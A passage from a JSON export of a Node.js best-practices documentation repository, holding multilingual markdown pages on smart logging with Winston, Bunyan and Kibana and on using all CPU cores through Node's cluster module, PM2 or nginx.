aggregate and visualize data. Many commercial products provide similar functionality only they greatly cut down the setup time and require no hosting.\r\n\r\n**3. smart visualization** – now the information is aggregated and searchable, one can be satisfied only with the power of easily searching the logs but this can go much further without coding or spending much effort. We can now show important operational metrics like error rate, average CPU throughout the day, how many new users opted-in in the last hour and any other metric that helps to govern and improve our app.\r\n\r\n<br/><br/>\r\n\r\n### Visualization Example: Kibana (part of the Elastic stack) facilitates advanced searching on log content\r\n\r\n![Kibana facilitates advanced searching on log content](../../assets/images/smartlogging1.png \"Kibana facilitates advanced searching on log content\")\r\n\r\n<br/><br/>\r\n\r\n### Visualization Example: Kibana (part of the Elastic stack) visualizes data based on logs\r\n\r\n![Kibana visualizes data based on logs](../../assets/images/smartlogging2.jpg \"Kibana visualizes data based on logs\")\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: Logger Requirements\r\n\r\nFrom the blog [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\r\n\r\n> Lets identify a few requirements (for a logger):\r\n> 1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\r\n> 2. Logging format should be easily digestible by humans as well as machines.\r\n> 3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time…\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.polish.md",
    "content": "# Uczyń swoją aplikację przejrzystą za pomocą inteligentnych dzienników\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nPonieważ i tak drukujesz instrukcje dziennika i oczywiście potrzebujesz interfejsu, który zawija informacje produkcyjne, w których możesz śledzić błędy i podstawowe dane (np. ile błędów występuje co godzinę i który jest twój najwolniejszy punkt końcowy interfejsu API), dlaczego nie inwestować umiarkowanych wysiłków w solidne ramy rejestrowania, które zaznaczą wszystkie pola? Osiągnięcie tego wymaga przemyślanej decyzji w trzech krokach:\n\n**1. smart logging** – co najmniej musisz korzystać z renomowanej biblioteki rejestrowania, takiej jak [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) i pisać istotne informacje na początku i na końcu każdej transakcji. Rozważ także sformatowanie instrukcji dziennika jako JSON i zapewnienie wszystkich właściwości kontekstowych (np. identyfikator użytkownika, typ operacji itp.), aby zespół operacyjny mógł działać na tych polach. Dołącz także unikalny identyfikator transakcji w każdym wierszu dziennika, aby uzyskać więcej informacji, patrz punkt poniżej „Zapisuj identyfikator transakcji do dziennika”. Ostatnim punktem, który należy wziąć pod uwagę, jest także agent rejestrujący zasoby systemowe, takie jak pamięć i procesor, takie jak Elastic Beat.\n\n**2. smart aggregation** – po uzyskaniu wyczerpujących informacji o systemie plików serwerów nadszedł czas, aby okresowo przekazywać je do systemu, który agreguje, udostępnia i wizualizuje te dane. Na przykład Elastic stack jest popularnym i bezpłatnym wyborem, który oferuje wszystkie komponenty do agregowania i wizualizacji danych. Wiele komercyjnych produktów zapewnia podobną funkcjonalność, ale znacznie skraca czas instalacji i nie wymaga hostingu.\n\n**3. smart visualization** – teraz informacje są agregowane i możliwe do przeszukiwania, można zadowolić się jedynie mocą łatwego przeszukiwania dzienników, ale może to pójść znacznie dalej bez kodowania lub nakładania dużego wysiłku. Możemy teraz wyświetlać ważne wskaźniki operacyjne, takie jak wskaźnik błędów, średni procesor w ciągu dnia, ilu nowych użytkowników wyraziło zgodę w ciągu ostatniej godziny oraz wszelkie inne dane, które pomagają zarządzać naszą aplikacją i ją ulepszać\n\n<br/><br/>\n\n### Przykład wizualizacji: Kibana (część Elastic stack) ułatwia zaawansowane wyszukiwanie zawartości dziennika\n\n![Kibana facilitates advanced searching on log content](../../assets/images/smartlogging1.png \"Kibana facilitates advanced searching on log content\")\n\n<br/><br/>\n\n### Przykład wizualizacji: Kibana (część Elastic stack) wizualizuje dane na podstawie logów\n\n![Kibana visualizes data based on logs](../../assets/images/smartlogging2.jpg \"Kibana visualizes data based on logs\")\n\n<br/><br/>\n\n### Cytat na blogu: Logger Requirements\n\nZ bloga [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\n\n> Lets identify a few requirements (for a logger):\n> 1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\n> 2. Logging format should be easily digestible by humans as well as machines.\n> 3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time…\n\n<br/><br/>\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/smartlogging.russian.md",
    "content": "# Сделайте ваше приложение прозрачным, используя умные логи\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nТак как вы все равно выводите записи журнала, и вам, очевидно, нужен какой-то интерфейс, который объединяет производственную информацию, где вы можете отслеживать ошибки и основные показатели (например, сколько ошибок происходит каждый час и какая ваша самая медленная конечная точка API), почему бы не вкладывать умеренные усилия в надежную систему ведения журналов, которая помечает все флажки? Достижение этого требует вдумчивого решения в три этапа:\r\n\r\n**1. умное ведение журналов** - как минимум, вам необходимо использовать авторитетную библиотеку журналов, такую ​​как [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan), и записывать значимую информацию в начале и конце каждой транзакции. Также следует отформатировать операторы журнала в формате JSON и предоставить все контекстные свойства (например, идентификатор пользователя, тип операции и т.д.), Чтобы операционная группа могла работать с этими полями. Включите также уникальный идентификатор транзакции в каждой строке журнала, для получения дополнительной информации обратитесь к пункту ниже \"Записать идентификатор транзакции в журнал\". И последнее, на что следует обратить внимание, это также включение агента, который регистрирует системные ресурсы, такие как память, и процессор, такие как Elastic Beat.\r\n\r\n**2. умное агрегирование** - когда у вас есть исчерпывающая информация о файловой системе ваших серверов, пора периодически отправлять ее в систему, которая собирает, обрабатывает и визуализирует эти данные. Стек Elastic, например, является популярным и бесплатным выбором, который предлагает все компоненты для агрегирования и визуализации данных. Многие коммерческие продукты предоставляют аналогичные функции, только они значительно сокращают время установки и не требуют хостинга.\r\n\r\n**3. умная визуализация** - теперь информация агрегируется и доступна для поиска, которая вполне удовлетворительная, но только с помощью возможности простого поиска в журналах, хотя это может пойти гораздо дальше без необходимости кодирования или больших затрат. Теперь мы можем показывать важные операционные показатели, такие как частота ошибок, средняя загрузка ЦП в течение дня, количество новых пользователей, подключенных за последний час, и любые другие показатели, которые помогают управлять и улучшать наше приложение.\r\n\r\n<br/><br/>\r\n\r\n### Пример визуализации: Kibana (часть стека Elastic) облегчает расширенный поиск по содержимому журнала\r\n\r\n![Kibana facilitates advanced searching on log content](../../assets/images/smartlogging1.png \"Kibana facilitates advanced searching on log content\")\r\n\r\n<br/><br/>\r\n\r\n### Пример визуализации: Kibana (часть стека Elastic) визуализирует данные на основе журналов\r\n\r\n![Kibana visualizes data based on logs](../../assets/images/smartlogging2.jpg \"Kibana visualizes data based on logs\")\r\n\r\n<br/><br/>\r\n\r\n### Цитата блога. Требования к логгеру\r\n\r\nИз блога [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\r\n\r\n> Давайте определим несколько требований (для регистратора):\r\n> 1. Отметка времени каждой строки журнала. Это довольно очевидно - вы должны быть в состоянии сказать, когда произошла каждая запись в журнале.\r\n> 2. Формат регистрации должен быть легко усваиваемым людьми и машинами.\r\n> 3. Позволяет использовать несколько настраиваемых целевых потоков. Например, вы можете записывать журналы трассировки в один файл, но при возникновении ошибки запишите в тот же файл, затем в файл ошибок и отправьте электронное письмо одновременно ...\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/utilizecpu.basque.md",
    "content": "# Erabili PUZeko nukleo guztiak\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nAgian ez da harritzekoa Nodek, bere oinarrizko forman, hari bakarra = prozesu bakarra = PUZ bakarra exekutatzea. 4 edo 8 PUZeko hardware sendoa ordaintzea eta bakarra erabiltzea zoragarria da, ezta? Node Cluster modulua da tamaina ertaineko aplikazioetara egokitzen den irtenbiderik azkarrena. 10 kode lerrotan nukleo logiko bakoitzerako prozesua sortzen du eta prozesuen arteko eskaerak biribilgune estiloan (round-robin) bideratzen ditu. Are hobe, erabili PM2, izan ere, monitoretzako erabiltzailearen interfaze soil eta ezin hobearekin biltzen baitu kluster modulua. Soluzio horrek ohiko aplikazioetan ondo funtzionatzen duen arren, gerta liteke eskas ibiltzea goi mailako errendimendua eta DevOps fluxu sendoa eskatzen duten aplikazioetan. Erabilera aurreratuetarako, aztertu ez ote zaizun komeni Node prozesua erreplikatzea pertsonalizatutako inplementazioko scripten baten bidez, eta orekatzea nginx bezalako tresna espezializatuak erabiliz; edo, bestela, erabili AWS ECS edo Kubernetees bezalako edukiontzi motorren bat prozesuak inplementatzeko eta erreplikatzeko, oso ezaugarri aurreratuak dituzte eta.\r\n\r\nErabilera aurreratuen kasuetarako, pentsa ezazu NODE prozesua errepikatzea pertsonalizatutako inplementazioko scriptaren bidez eta orekatu nginx bezalako tresna espezializatua erabiliz edo erabili edukiontzi motorra, hala nola AWS ECS edo Kubernetees, prozesuak inplementatzeko eta erreplikatzeko ezaugarri aurreratuak dituztenak.\r\n\r\n<br/><br/>\r\n\r\n### Alderaketa: Noderen klusterra versus nginx\r\n\r\n![Noderen klusterra versus nginx](../../assets/images/utilizecpucores1.png \"Noderen klusterra versus nginx\")\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n- [Node.jsren dokumentazioa](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n\r\n> ... Bigarren planteamendua, teorian Node klusterrak eman beharko luke errendimendu onena. Praktikan, ordea, banaketa oso desorekatua izan ohi da sistema eragilearen antolatzaileen gorabeheren ondorioz. Atzeman da hainbat kasutan konexio guztien % 70a baino gehiago kargak bi prozesutan soilik egin direla, zortzitan egin beharrean...\r\n\r\n- [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/) bloga:\r\n\r\n> ... Noderen kluster moduluarekin posible da klusterrak batzea. Horrek ahalbidetzen du prozesu maisu batek lan prozesuak sortzea eta sarrerako konexioak langileen artean banatzea. Hala ere, modulu hori zuzenean erabiltzea baino hobe da lan hori automatikoki egiten duten tresna ugarietako bat erabiltzea; adibidez, node-pm edo cluster-service ...\r\n\r\n- Medium blogeko [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272) artikulua:\r\n\r\n> ... Noderen klusterra erraza da inplementatzen eta konfiguratzen. Izan ere, osagaiak Noderen eremuan gordetzen dira beste software baten menpe egon gabe. Gogoratu zure prozesu nagusiak zure langile prozesuak bezainbeste funtzionatuko duela, eta bere eskaera tasa beste irtenbideena baino apur bat txikiagoa izango dela ...\r\n"
  },
  {
    "path": "sections/production/utilizecpu.brazilian-portuguese.md",
    "content": "# Utilize todos os núcleos do processador\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nPode não ser uma surpresa que, em sua forma básica, o Node seja executado em um único thread = um único processo = um único CPU. Pagando por hardwares pesados ​​com 4 ou 8 CPUs e utilizando apenas um parece loucura, certo? A solução mais rápida para aplicações de tamanho médio é o uso do módulo Node’s Cluster, que em 10 linhas de código gera um processo para cada núcleo lógico e encaminha solicitações entre os processos em um estilo round-robin. Melhor ainda, use o PM2, que adoça o módulo de clustering com uma interface simples e interface de monitoramento legal. Embora essa solução funcione bem para aplicações tradicionais, ela pode ser insuficiente para aplicações que exigem desempenho de alto nível e fluxo de DevOps robusto. Para esses casos de uso avançado, considere a replicação do processo NODE usando o script de implantação e o balanceamento personalizados usando uma ferramenta especializada, como o nginx, ou use um mecanismo de contêiner como o AWS ECS ou Kubernetees que tenha recursos avançados para implantação e replicação de processos.\r\n\r\n<br/><br/>\r\n\r\n### Comparação: balanceamento usando o cluster do Node versus o nginx\r\n\r\n![Balanceamento usando o cluster do Node versus o nginx](../../assets/images/utilizecpucores1.png \"Balanceamento usando o cluster do Node versus o nginx\")\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\n* Da [documentação do Node.js](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n> ... A segunda abordagem, os clusters do Node, deve, em teoria, oferecer o melhor desempenho. Na prática, no entanto, a distribuição tende a ser muito desequilibrada devido aos caprichos do planejador do sistema operacional. Cargas foram observadas onde mais de 70% de todas as conexões acabaram em apenas dois processos, de um total de oito ...\r\n\r\n* Do blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n> ... O clustering é possível com o módulo de cluster do Node. Isso permite que um processo mestre crie processos de trabalho e distribua conexões de entrada entre os trabalhadores. No entanto, em vez de usar este módulo diretamente, é muito melhor usar uma das muitas ferramentas que fazem isso por você automaticamente. por exemplo, node-pm ou cluster-service ...\r\n\r\n* Do post no Medium [Desempenho do balanceamento de carga do processo Node.js: comparando módulo de cluster, iptables e Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272)\r\n> ... O cluster do Node é simples de implementar e configurar, as coisas são mantidas dentro do reino do Node sem depender de outro software. Lembre-se de que seu processo mestre funcionará quase tanto quanto os processos de trabalho e com uma taxa de solicitação um pouco menor do que as outras soluções. ...\r\n"
  },
  {
    "path": "sections/production/utilizecpu.chinese.md",
    "content": "# 利用所有的CPU内核\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n这应该不会让人感到意外, 在其基本形式上，Node运行在单进程，单线程，单个CPU上。购买了一个强大的包含4个或8个CPU的硬件，只使用一个听起来是不可思议的，对吗？适合中型应用最快的解决方案是使用Node的Cluster模块，它在10行代码中为每个逻辑核心和路由请求产生一个进程，进程之间以round-robin的形式存在。更好的是使用PM2，它通过一个简单的接口和一个很酷的监视UI来给cluster模块裹上糖衣。虽然这个解决方案对传统应用程序很有效，但它可能无法满足需要顶级性能和健壮的devops流的应用。对于那些高级的用例，考虑使用自定义部署脚本复制NODE进程，并使用像nginx\r\n这样的专门的工具进行负载均衡，或者使用像AWS ECS或Kubernetees这样的容器引擎，这些工具具有部署和复制进程的高级特性。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 比较:使用Node的clustre vs nginx做负载均衡\r\n\r\n![Balancing using Node’s cluster vs nginx](../../assets/images/utilizecpucores1.png \"Balancing using Node’s cluster vs nginx\")\r\n\r\n<br/><br/>\r\n\r\n### 其他博主说什么\r\n* 摘自[Node.JS documentation](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n> ... 理论上第二种方法， Node clusters，应该是性能最佳的。然而, 在实践中, 由于操作系统调度程序的反复无常, 分布往往非常不平衡。观察负载, 所有连接中，超过70%在两个进程中处理, 而总共有八个进程...\r\n\r\n* 摘自博客[StrongLoop](From the blog StrongLoop):\r\n> ...通过Node的cluster模块实现集群化。这使一个主进程能够产生工作进程，并在工作进程间分配进入的连接。然而，与其直接使用这个模块，更好的选择是使用其中的许多工具之一, 它为您自动处理它; 例如，node-pm或cluster-service...\r\n\r\n* 摘自the Medium post[node.js进程负载平衡性能:比较cluster moudlle、iptables和Nginx](https://medium.com/@fermads/node-js-process-load-balancing- iptabls -and- Nginx -6746aaf38272)\r\n> ... Node cluster易于实施和配置，不依赖于其他软件就可以在Node的领域内进行。请记住，你的主进程将会工作几乎和你的工作进程一样多，比较于其他的解决方案，少一点请求率..."
  },
  {
    "path": "sections/production/utilizecpu.french.md",
    "content": "# Utilisez tous les cœurs du CPU\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nIl n'est pas surprenant que dans sa forme de base, Node fonctionne sur un unique thread=un unique processus=un seul CPU. Payer pour du matériel costaud avec 4 ou 8 CPU et n'en utiliser qu'un seul semble fou, non ? La solution la plus rapide qui convient aux applications de taille moyenne est l'utilisation du module Cluster de Node qui, en 10 lignes de code, génère un processus pour chaque cœur logique et achemine les requêtes entre les processus dans un style à tour de rôle. Mieux encore, utilisez PM2 qui enrobe le module de clustering avec une interface simple et une interface utilisateur de surveillance sympa. Bien que cette solution fonctionne bien pour les applications traditionnelles, elle pourrait ne pas convenir aux applications qui exigent des performances de premier ordre et un flux DevOps robuste. Pour ces cas d'utilisation avancés, envisagez de répliquer le processus NODE à l'aide d'un script de déploiement personnalisé et d'équilibrage (NdT, « balancing ») en utilisant un outil spécialisé tel que nginx ou utilisez un moteur de conteneur tel que AWS ECS ou Kubernetees qui disposent de fonctionnalités avancées pour le déploiement et la réplication des processus.\n\n<br/><br/>\n\n### Comparaison : équilibrage à l'aide du cluster de Node vs nginx\n\n![Équilibrage à l'aide du cluster de Node vs nginx](../../assets/images/utilizecpucores1.png \"Équilibrage à l'aide du cluster de Node vs nginx\")\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\n* Extrait de la [documentation de Node.js](https://nodejs.org/api/cluster.html#cluster_how_it_works):\n> ... La seconde approche, les clusters de Node, devrait, en théorie, donner les meilleures performances. Dans la pratique, cependant, la distribution a tendance à être très déséquilibrée en raison des aléas du planificateur du système d'exploitation. Des charges ont été observées où plus de 70% de toutes les connexions se sont uniquement terminées sur deux processus, sur un total de huit ...\n\n* Extrait du blog de [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\n> ... Le clustering est rendu possible avec le module de cluster de Node. Cela permet à un processus maître de générer des processus de travail et de répartir les connexions entrantes entre les processus de travail. Cependant, plutôt que d'utiliser directement ce module, il est préférable d'utiliser l'un des nombreux outils qui le font automatiquement pour vous; par exemple node-pm ou cluster-service ...\n\n* Extrait de l'article [Performance de l'équilibre de charge du processus Node.js : comparaison entre le module de cluster, iptables et Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272) de Medium\n> ... Le cluster Node est simple à implémenter et à configurer, les choses sont conservées dans le domaine Node sans dépendre d'autres logiciels. N'oubliez pas que votre processus maître fonctionnera presque autant que vos processus de travail et avec un peu moins de taux de requête que les autres solutions. ...\n"
  },
  {
    "path": "sections/production/utilizecpu.japanese.md",
    "content": "# すべての CPU コアを利用する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n意外ではないかもしれませんが、基本的な形として、Node は単一のスレッド、単一のプロセス、単一の CPU 上で動作します。4もしくは8個のCPUがある頑丈なハードにお金を払っておいて、1つだけを利用するのはバカバカしく聞こえるのではないでしょうか？ 中規模なアプリケーションに適用する最速のソリューションは、10行のコードで各論理コアのためにプロセスを生成し、ラウンドロビン形式でプロセス間のリクエストをルーティングする、Node クラスターを使うことです。さらに良いのは、シンプルなインタフェースとクールなモニタリング UI でクラスタリングモジュールの体裁を整えている PM2 を使用することです。このソリューションは従来のアプリケーションには適していますが、一流のパフォーマンスと堅牢な DevOps フローを必要とするアプリケーションには不向きかもしれません。これらの高度なユースケースでは、カスタムデプロイスクリプトを使用して NODE プロセスをレプリケートし、nginx などの専用ツールを使用してバランシングを行うか、デプロイとプロセスのレプリケーションのための高度な機能を持つ AWS ECS や Kubernetees などのコンテナエンジンを使用することを検討してみてはいかがでしょうか。\r\n\r\n<br/><br/>\r\n\r\n### 比較: Node クラスタと nginx それぞれを使ったバランシング\r\n\r\n![バランシングの比較 Node クラスタ vs nginx](../../assets/images/utilizecpucores1.png \"バランシングの比較 Node クラスタ vs nginx\")\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\n* [Node.js documentation](https://nodejs.org/api/cluster.html#cluster_how_it_works) より:\r\n> ... 2番目のアプローチである Node クラスタは、理論的には最高のパフォーマンスを発揮するはずです。しかし、実際には、オペレーティングシステムのスケジューラのばらつきのために、ディストリビューションは非常にアンバランスになる傾向があります。8つの全てのプロセスのうち、70%以上の接続が2つのプロセスで終了するという負荷が観測されています。 ...\r\n\r\n* ブログ [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/) より:\r\n> ... クラスタリングは Node のクラスタモジュールで可能になります。これにより、マスタープロセスがワーカープロセスを spawn し、ワーカー間で着信接続を分配できるようになります。しかし、このモジュールを直接使用するよりも、自動的にそれを行ってくれる多くのツールのうちの一つを使用する方がはるかに良いでしょう; node-pm やクラスタサービスなど ...\r\n\r\n* Medium のポスト [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272) より\r\n> ... Node クラスタは実装と設定が簡単で、他のソフトウェアに依存することなくノードの領域内に保持されます。マスタープロセスは、他のソリューションに比べてリクエスト率が若干低くても、作業者のプロセスとほぼ同等に機能することを覚えておいてください。 ...\r\n"
  },
  {
    "path": "sections/production/utilizecpu.korean.md",
    "content": "# Utilize all CPU cores\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIt might not come as a surprise that in its basic form, Node runs over a single thread=single process=single CPU. Paying for beefy hardware with 4 or 8 CPU and utilizing only one sounds crazy, right? The quickest solution which fits medium sized apps is using Node’s Cluster module which in 10 lines of code spawns a process for each logical core and route requests between the processes in a round-robin style. Even better, use PM2 which sugarcoats the clustering module with a simple interface and cool monitoring UI. While this solution works well for traditional applications, it might fall short for applications that require top-notch performance and robust DevOps flow. For those advanced use cases, consider replicating the NODE process using custom deployment script and balancing using a specialized tool such as nginx or use a container engine such as AWS ECS or Kubernetees that have advanced features for deployment and replication of processes.\r\n\r\n<br/><br/>\r\n\r\n### Comparison: Balancing using Node’s cluster vs nginx\r\n\r\n![Balancing using Node’s cluster vs nginx](../../assets/images/utilizecpucores1.png \"Balancing using Node’s cluster vs nginx\")\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the [Node.js documentation](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n> ... The second approach, Node clusters, should, in theory, give the best performance. In practice, however, distribution tends to be very unbalanced due to operating system scheduler vagaries. Loads have been observed where over 70% of all connections ended up in just two processes, out of a total of eight ...\r\n\r\n* From the blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n> ... Clustering is made possible with Node’s cluster module. This enables a master process to spawn worker processes and distribute incoming connections among the workers. However, rather than using this module directly, it’s far better to use one of the many tools out there that do it for you automatically; for example node-pm or cluster-service ...\r\n\r\n* From the Medium post [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272)\r\n> ... Node cluster is simple to implement and configure, things are kept inside Node’s realm without depending on other software. Just remember your master process will work almost as much as your worker processes and with a little less request rate than the other solutions ...\r\n"
  },
  {
    "path": "sections/production/utilizecpu.md",
    "content": "# Utilize all CPU cores\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIt might not come as a surprise that in its basic form, Node runs over a single thread=single process=single CPU. Paying for beefy hardware with 4 or 8 CPU and utilizing only one sounds crazy, right? The quickest solution which fits medium sized apps is using Node’s Cluster module which in 10 lines of code spawns a process for each logical core and route requests between the processes in a round-robin style. Even better, use PM2 which sugarcoats the clustering module with a simple interface and cool monitoring UI. While this solution works well for traditional applications, it might fall short for applications that require top-notch performance and robust DevOps flow. For those advanced use cases, consider replicating the NODE process using custom deployment script and balancing using a specialized tool such as nginx or use a container engine such as AWS ECS or Kubernetees that have advanced features for deployment and replication of processes.\r\n\r\n<br/><br/>\r\n\r\n### Comparison: Balancing using Node’s cluster vs nginx\r\n\r\n![Balancing using Node’s cluster vs nginx](../../assets/images/utilizecpucores1.png \"Balancing using Node’s cluster vs nginx\")\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\n* From the [Node.js documentation](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n> ... The second approach, Node clusters, should, in theory, give the best performance. In practice, however, distribution tends to be very unbalanced due to operating system scheduler vagaries. Loads have been observed where over 70% of all connections ended up in just two processes, out of a total of eight ...\r\n\r\n* From the blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n> ... Clustering is made possible with Node’s cluster module. This enables a master process to spawn worker processes and distribute incoming connections among the workers. However, rather than using this module directly, it’s far better to use one of the many tools out there that do it for you automatically; for example node-pm or cluster-service ...\r\n\r\n* From the Medium post [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272)\r\n> ... Node cluster is simple to implement and configure, things are kept inside Node’s realm without depending on other software. Just remember your master process will work almost as much as your worker processes and with a little less request rate than the other solutions ...\r\n"
  },
  {
    "path": "sections/production/utilizecpu.polish.md",
    "content": "# Wykorzystaj wszystkie rdzenie procesora\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nNic dziwnego, że w swojej podstawowej formie Node działa na jednym wątku = pojedynczy proces = pojedynczy procesor. Płacenie za mocny sprzęt z 4 lub 8 procesorami i używanie tylko jednego brzmi szalenie, prawda? Najszybszym rozwiązaniem, które pasuje do średnich aplikacji jest użycie modułu klastrowania Node, który w 10 liniach kodu tworzy proces dla każdego logicznego rdzenia i kieruje żądania między procesami w stylu round-robin. Jeszcze lepiej, użyj PM2, który otacza moduł klastrowania prostym interfejsem i fajnym interfejsem monitorowania. Chociaż to rozwiązanie działa dobrze w przypadku tradycyjnych aplikacji, może nie być wystarczające w przypadku aplikacji, które wymagają najwyższej wydajności i niezawodnego przepływu DevOps. W przypadku zaawansowanych przypadków użycia rozważ replikację procesu NODE przy użyciu niestandardowego skryptu wdrażania i równoważenie za pomocą specjalistycznego narzędzia, takiego jak nginx, lub użyj silnika kontenera, takiego jak AWS ECS lub Kubernetees, które mają zaawansowane funkcje wdrażania i replikacji procesów.\n\n<br/><br/>\n\n### Porównanie: równoważenie za pomocą Node cluster vs nginx\n\n![Balancing using Node’s cluster vs nginx](../../assets/images/utilizecpucores1.png \"Balancing using Node’s cluster vs nginx\")\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\n* Z [dokumentacji Node.js](https://nodejs.org/api/cluster.html#cluster_how_it_works):\n> ... The second approach, Node clusters, should, in theory, give the best performance. In practice, however, distribution tends to be very unbalanced due to operating system scheduler vagaries. Loads have been observed where over 70% of all connections ended up in just two processes, out of a total of eight ...\n\n* Z bloga [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\n> ... Clustering is made possible with Node’s cluster module. This enables a master process to spawn worker processes and distribute incoming connections among the workers. However, rather than using this module directly, it’s far better to use one of the many tools out there that do it for you automatically; for example node-pm or cluster-service ...\n\n* Z posta na Medium [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272)\n> ... Node cluster is simple to implement and configure, things are kept inside Node’s realm without depending on other software. Just remember your master process will work almost as much as your worker processes and with a little less request rate than the other solutions ...\n"
  },
  {
    "path": "sections/production/utilizecpu.russian.md",
    "content": "# Используйте все ядра процессора\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nНеудивительно, что в своей базовой форме Node работает над одним потоком = один процесс = один процессор. Плата за мощное оборудование с 4 или 8 процессорами и использование только одного звучит безумно, верно? Самое быстрое решение, которое подходит для приложений среднего размера, - это использование кластерного модуля Node, который из 10 строк кода порождает процесс для каждого логического ядра и направляет запросы между процессами в стиле циклического перебора. Более того, используйте PM2, который приукрашивает модуль кластеризации простым интерфейсом и отличным интерфейсом мониторинга. Хотя это решение хорошо работает для традиционных приложений, оно может не подходить для приложений, требующих первоклассной производительности и надежного потока DevOps. Для этих расширенных вариантов использования рассмотрите возможность репликации процесса NODE с использованием пользовательского сценария развертывания и балансировки с помощью специализированного инструмента, такого как nginx, или используйте механизм контейнеров, такой как AWS ECS или Kubernetees, которые имеют расширенные функции для развертывания и репликации процессов.\r\n\r\n<br/><br/>\r\n\r\n### Сравнение: балансировка с использованием кластера Node против nginx\r\n\r\n![Balancing using Node’s cluster vs nginx](../../assets/images/utilizecpucores1.png \"Balancing using Node’s cluster vs nginx\")\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\n* Из документации [Node.js documentation](https://nodejs.org/api/cluster.html#cluster_how_it_works):\r\n> ... Второй подход, кластеры Node, должен, теоретически, дать лучшую производительность. На практике, однако, распределение имеет тенденцию быть очень несбалансированным из-за капризов планировщика операционной системы. Нагрузки наблюдались, когда более 70% всех соединений заканчивались всего двумя процессами из восьми ...\r\n\r\n* Из блога [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n> ... Кластеризация возможна с помощью кластерного модуля Node. Это позволяет главному процессу порождать рабочие процессы и распределять входящие соединения среди рабочих. Однако вместо того, чтобы использовать этот модуль напрямую, гораздо лучше использовать один из множества инструментов, которые делают это автоматически; например node-pm или cluster-service ...\r\n\r\n* Из поста на Medium [Node.js process load balance performance: comparing cluster module, iptables, and Nginx](https://medium.com/@fermads/node-js-process-load-balancing-comparing-cluster-iptables-and-nginx-6746aaf38272)\r\n> ... Кластер Node прост в реализации и настройке, все хранится в сфере Node, не завися от другого программного обеспечения. Просто помните, что ваш основной процесс будет работать почти так же, как ваши рабочие процессы, и с меньшей частотой запросов, чем другие решения ...\r\n"
  },
  {
    "path": "sections/projectstructre/breakintcomponents.basque.md",
